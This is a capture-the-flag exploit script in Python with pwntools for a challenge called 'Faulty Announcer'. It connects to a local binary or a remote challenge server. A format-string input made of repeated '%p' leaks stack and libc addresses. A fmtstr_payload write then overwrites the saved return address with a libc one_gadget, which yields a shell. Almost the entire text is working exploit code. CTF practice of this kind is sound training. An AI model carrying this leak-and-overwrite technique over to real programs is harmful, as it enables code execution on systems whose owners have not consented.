Faulty Announcer

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x401345
"""

def conn():
    if args.REMOTE:
        r = remote("chall.v1t.site", 30213)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



def main():
    r = conn()

    r.recvuntil(b'What is your name?\n')
    r.sendline("Tree")

    payload = b'%p|' * 40

    r.recvuntil(b'Speak loud what do you want\n')
    r.sendline(payload)

    leak = r.recvuntil(b"I SAID SPEAK LOUD!\n", drop=True).decode("ascii")
    leak = leak.split("|")

    for i in range(len(leak)-1):
        print(f"{i+1}: {leak[i]}")

    # pointing at rbp
    stack = int(leak[25],16) - 0xa0
    libc.address = int(leak[26],16) - (libc.sym["__libc_start_call_main"] + 122)

    one = libc.address + 0xef52b 
    rbp = 0x404100

    write = {
            stack     : rbp,
            stack + 8 : one,
            }

    payload = fmtstr_payload(8,write,write_size="short")
    r.sendline(payload)
    r.clean()
    r.interactive()


if __name__ == "__main__":
    main()